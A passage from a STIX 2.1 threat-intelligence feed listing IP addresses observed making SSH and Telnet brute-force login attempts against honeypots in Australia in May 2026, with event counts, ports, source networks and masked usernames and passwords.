      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.180.183.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T18:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--dda10404-014b-43c3-904e-34bc580a32a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T18:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.28.250.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T18:15:41.000Z",
      "valid_until": "2026-06-23T18:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--9b186948-c40f-48a8-9919-67b1b0866517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.174.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--998badc6-ae1f-45b4-9e85-35efcbeb0728",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.84.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--006b32b4-ee1c-46dd-b8a2-a6aa32d46b78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.59.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, d***d, 3**********4, o**o, r***t. Passwords observed (masked): ***, 3***********4, 3**********4, C********3, ^******m.",
      "id": "indicator--cf9c3b51-1929-4be1-850c-73b448fc0aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.67.46.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9cfca5ca-09a6-442f-8e6b-e543356a0c13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.226.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d006df41-3f48-4d42-a58b-57c0d4bf5d2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.115.85.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a59c6ead-3943-4938-9202-7906886e7181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.32.231.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8e0b2f96-a3cc-4b69-89c6-4d69f01b101d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.251.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2eac4ce3-169a-48e3-984e-2a129fc4baf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.24.104.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e8d31197-5149-466b-ba02-2e920b7d5f7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.24.91.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T19:15:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cf543681-3d6a-442d-9786-1e7e102c4213",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.248.174.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:15:32.000Z",
      "valid_until": "2026-06-23T19:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 210278. Organisation(s): Sky Italia srl.",
      "id": "indicator--4f76073a-9a65-4c9d-99df-5391dcd0a76e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.57.67.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b6d92e09-c957-41f7-9778-ccf1731e12a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.40.80.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d2282d2a-0ce3-4afe-8b82-c4bd9191d0ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.127.226.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--448467d0-b736-4935-a24a-81c0c0017c2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.131.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58466. Organisation(s): CHINANET Guangdong province network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--1ab371bc-7e49-41d6-ae2a-f82670c0d7f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.18.114.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17638. Organisation(s): ASN for TIANJIN Provincial Net of CT.",
      "id": "indicator--eca10258-7644-4660-855b-dedce4dedf4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.212.219.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c4143c81-ca52-4a5e-b429-ebc75490dbe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CY. ASN(s): 6866. Organisation(s): Cyprus Telecommunications Authority.",
      "id": "indicator--a85bc0e6-9ec0-4c94-ac17-400b58285eae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.149.181.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): d**i, ***. Passwords observed (masked): d**i, ***.",
      "id": "indicator--86f2e828-15bc-4a75-b297-a735826a693c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.133.145.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 15169. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, ***, u****u. Passwords observed (masked): *, 2**5, 3***********4, 3**********4, A*******5.",
      "id": "indicator--7e1c16a4-0e8a-4544-9a55-97f87349600c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.210.61.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, g**d, p******s, s***y. Passwords observed (masked): ***, 1****6, 1*3@.com, 3***********4, 3**********4.",
      "id": "indicator--b28de25a-1400-4886-8568-c84f4da3b29a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.213.160.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267251. Organisation(s): TELEFONARNET TELECOMUNICACOES.",
      "id": "indicator--4cfc1b57-bd56-449a-9299-e671530bf56f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.232.75.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36007. Organisation(s): Kamatera, Inc.. Usernames observed (masked): m***l, r**t, t******r. Passwords observed (masked): ***, 1*********#, t**********s.",
      "id": "indicator--124aee6c-e603-4afc-a916-53f95cd2a93a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.61.52.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, a***e, 3**********4, ***, l*****d. Passwords observed (masked): 1******a, 1******8, 1******B, 3***********4, 3**********4.",
      "id": "indicator--3f28f98f-5d0a-40d2-8548-22579809d1a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.75.141.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited. Usernames observed (masked): o***2, r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Z********3, k****d, o***2.",
      "id": "indicator--c4a16676-96c3-422d-be54-bb752297a785",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.6.206.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--45ede1d3-6188-43f1-9b7a-ebc2eaf33b52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb. Usernames observed (masked): r**t, 3**********4, s***y, g**d, p******s. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1*3@.com.",
      "id": "indicator--0773e594-9061-4b90-9383-2f5d95a0560b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.224.141.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--f92076a9-9728-400b-83b6-4c6c51de7784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.247.138.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 216154. Organisation(s): Clodo Cloud Service Co. L.L.C. Usernames observed (masked): r**t, 3**********4, a***e, ***, l*****d. Passwords observed (masked): 3***********4, 3**********4, 1******a, 1******8, 1******B.",
      "id": "indicator--4d34617e-ced3-455b-8ea2-9245613c82a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.81.96.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:15:12.000Z",
      "valid_until": "2026-06-23T20:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 131090. Organisation(s): National Telecom Public Company Limited.",
      "id": "indicator--b5f8ab06-8697-4731-bbfd-5c561bd29573",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.78.132.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4d2be733-0cd1-4f95-9956-f8d2cfba37b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.207.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 131215. Organisation(s): 116 MADHAV DARSHAN.",
      "id": "indicator--95d27787-545f-45d4-bcbd-b145b5f50de0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.140.189.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7dd08646-e07f-495e-ac53-09f1f949598e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.2.170.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:15:11.000Z",
      "valid_until": "2026-06-23T21:15:08.000Z"
    },
    {
      "created": "2026-05-22T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
